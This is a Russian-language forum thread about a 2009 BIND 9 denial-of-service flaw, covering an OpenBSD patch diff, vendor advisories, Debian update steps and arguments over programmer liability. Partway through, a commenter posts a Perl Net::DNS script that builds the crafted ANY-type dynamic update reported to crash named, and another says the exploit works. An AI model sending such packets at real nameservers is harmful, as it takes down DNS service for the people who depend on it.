Найдена серьезная уязвимость в Bind 9

могу добавить, что вендоры вроде пока не среагировали. если dns для вас критический сервис, патчесь уже.

патч для OpenBSD уже доступен ;)

Index: usr.sbin/bind/bin/named/update.c
===================================================================
RCS file: /cvs/src/usr.sbin/bind/bin/named/update.c,v
retrieving revision 1.7
diff -u -p -r1.7 update.c
--- usr.sbin/bind/bin/named/update.c    9 Dec 2007 13:39:42 -0000       1.7
+++ usr.sbin/bind/bin/named/update.c    29 Jul 2009 02:34:11 -0000
@@ -861,7 +861,11 @@ temp_check(isc_mem_t *mctx, dns_diff_t *
                       if (type == dns_rdatatype_rrsig ||
                           type == dns_rdatatype_sig)
                               covers = dns_rdata_covers(&t->rdata);
-                       else
+                       else if (type == dns_rdatatype_any) {
+                               dns_db_detachnode(db, &node);
+                               dns_diff_clear(&trash);
+                               return (DNS_R_NXRRSET);
+                       } else
                               covers = 0;

для фряхи тоже выложили - http://security.freebsd.org/advisories/FreeBSD-SA-09:12.bind.asc

на 8 51 москвы для Solaris 10 апдейтов нет.

Решето. Ъ используют bind-8. )

А я-то голову ломаю, чего это это у прова с DNS вчера было.

Очевидно это ОН

я недоволен
интересно почему команда опенбсд свой опенднс еще не накатало? :o)

неверное название... Скорее: Еще одна уязвимость закрыта.

>неверное название... Скорее: Еще одна уязвимость закрыта.

Закрыта она будет лишь после того, как все узнают и поставят обновления, а до тех пор - открыта и юзабельна.

Быдлокодеры. Если бы для типов использовали enum и switch (как то и задумано K&R) то компилятор мог бы о такой уязвимости предупредить.

Сегодня по рассылке FreeBSD Security свалилось вместе с патчем ... так что уже обновились ...

ссылку на эксплоит в студию!

Можно подумать патч OS-specific ) Только хотел написать что исправлено в Debian, но то был Squid 3.

>ссылку на эксплоит в студию! и кто по ней пойдет?)

У программистов, все как у политиков. Найдена уязвимость? Счас исправим -> обновляйтесь... И ни слова о том, _кто_ это напрограммировал, _когда_, _кто_несет_ответственность_ за контроль качества (в смысле, сколько людей получили зарплату в новеллах и редхатах за то, что проконтролировали?)

В новости можно указывать хотя бы имя того программиста?.. Или это неэтично?

нашел перловый скрипт, который вроде бы генерит бажный запрос

#!/usr/bin/perl -w

use Net::DNS;

our $NSI = '';
our $NSI_KEY_NAME = '';
our $NSI_KEY = '';

my $rzone = '';
my $rptr = "1.$rzone";

my $packet = Net::DNS::Update->new($rzone);

$packet->push(
pre => Net::DNS::RR->new(
Name => $rptr,
Class => 'IN',
Type => 'ANY',
TTL => 0,
)
);
$packet->push(
update => Net::DNS::RR->new(
Name => $rptr,
Class => 'ANY',
Type => 'ANY',
)
);

$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;

print $packet->string;

Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);


но чето с утра не соображу как отправить его по-проще ?
не телнетом же..

Для тех, у кого Slackware-12.2, бинарное обновление можно забрать отсюда: http://www.habital.lv/pub/Slackware-12.2/binaries/n/bind-9.4.3_P3-i486-1eam.tgz К сожалению обновления на официальном сайте Slackware ещё нет.

zone "localhost" {
type master;
file "/etc/bind/db.local";
};

такой вариант тоже уязвим ?)

Да , Сильви . Этот вариант ничем принципиально не отличается от zone "example.org" { ... Ему мякого говоря одинакого localhost или нет

Я уже обновился на работе.

ну если у них торчит в интернеты CVS, то можно погрепать по логам :-\

ну раз так..


~ :#named -v
BIND 9.6.1-P1

Вот это - совсем другое дело =)

Для Debian вышло обновление.

>valich

месье программист?
если да, Вы работаете с полной материальной ответственностью? или никогда в жизни не допускали ошибок в программах?

если бы ты заплатил деньги за программу - ты имел бы право предьявлять претензии конкретному человеку на конкретную сумму ущерба. а если ты используешь бесплатный софт - то чего ты хочешь? нашел уязвимость - сделай патч и отошли разработчикам. или напиши багрепорт.

даже в MS EULA написано no warranty, даже за деньги

тот майнтейнер OpenSSL из Debian'a намного больше ущерба сделал ...

Наглядный примеры пользы комментов в коде :}

> Быдлокодеры. Если бы для типов использовали enum и switch (как то и задумано K&R) то компилятор мог бы о такой уязвимости предупредить.

Вряд ли -- ведь у них будет default, аналогичный местному else...

security.debian.org как всегда опережает публикацию security новостей LOR-а ;)

> интересно почему команда опенбсд свой опенднс еще не накатало? :o)
потому что бинд и так не самый плохой вариант, и он немного модифицированный у нас. но вот от этого не спасло.
мысли написать свое конечно есть, но это не первоочередная задача.

> такой вариант тоже уязвим ?)
ага ;) достаточно быть мастером для любой одной зоны

Нет не опережает.
Когда я начинал читать этот тред фиксов для Ленни еще не было.
Правда. когда дочитал, появились.

ждите еще ~6 месяцев

>патч для OpenBSD уже доступен ;)
Интересно. А насколько bind хорошо покрыт автоматическими тестами?

насчет оригинального на ISC не скажу, а у нас:

root@o1:/usr/src# find regress -iname bind
root@o1:/usr/src#

То что регрессий нет - это понятно. Большая ответственность ложится на людей, которые сделали патч.

патч от самого де Раадта ;)
к тому же, он довольно тривиален.

если бы ты заплатил деньги за программу и если ты используешь бесплатный софт - все одно. Ответственность программиста определяется вашими с ним договоренности. В общем случае, лицензией. Во всех известных мне еулах написано большими буквами NO WARRANTY...

в рот мне ноги!11
эксплойт работает (
да шо же это делаеццо..

обновил десяток машин уже.

Рещето!

> месье программист?
> если да, Вы работаете с полной материальной ответственностью? или никогда в жизни не допускали ошибок в программах?

А что есть полная материальная ответсвенность? Это когда платят человеку, переписывающему мои баги из моего кармана?

Не знаю как у вас. А меня в этом месяце оштрафовали за такое дуракаваляние.

> ты имел бы право предьявлять претензии конкретному человеку на конкретную сумму ущерба

Вот-вот, все как в политике... Не уводите тему, вы не в зале заседаний. Где я предъявлял суммы ущерба? Я лишь хочу знать имена тех героев... При этом я не требовал а спросил. Кто его знает, может и в самом деле неэтично

> Это когда платят человеку, переписывающему мои баги из моего кармана?
это когда ты оплачиваешь убытки компании за простой сервиса, за который ты ответственен. подумай, сколько стоит час простоя сети крупного провайдера, телекома или банка и ты поймешь, почему софта с гарантиями практически.

Debian
>Date: Wed, 29 Jul 2009 09:21:21 +0200
>Subject: [SECURITY] [DSA 1847-1] New bind9 packages fix denial of service

Гмыл говорит, что в 10:21 (GMT+02:00). Но самое интересное что есть фикс для сида, но НЕТ фикса для тестинга, так и знал что не нужно каментить deb http://security.debian.org/debian/ stable/updates

>подумай, сколько стоит час простоя сети крупного провайдера, телекома или банка

Это херня. Вот сколько стоит час работы программиста, способного доказать свою программу...

млять, подключил и security stable, а он всё равно не обновляется ((

скачайте .deb
с http://security.debian.org

dpkg -i <filename.deb>

только оно скорее всего потом захочет обновиться на тот что у вас был (из за более высокой версии) так что лучше сразу его aptitude hold

Обновление для *ubuntu доступно, обновляемся!

нужно было не http://security.debian.org/debian/ а http://security.debian.org/ но в документации почему-то не говорят что нужно подключать stable/updates. Но я подключил и качаю 22! обновления.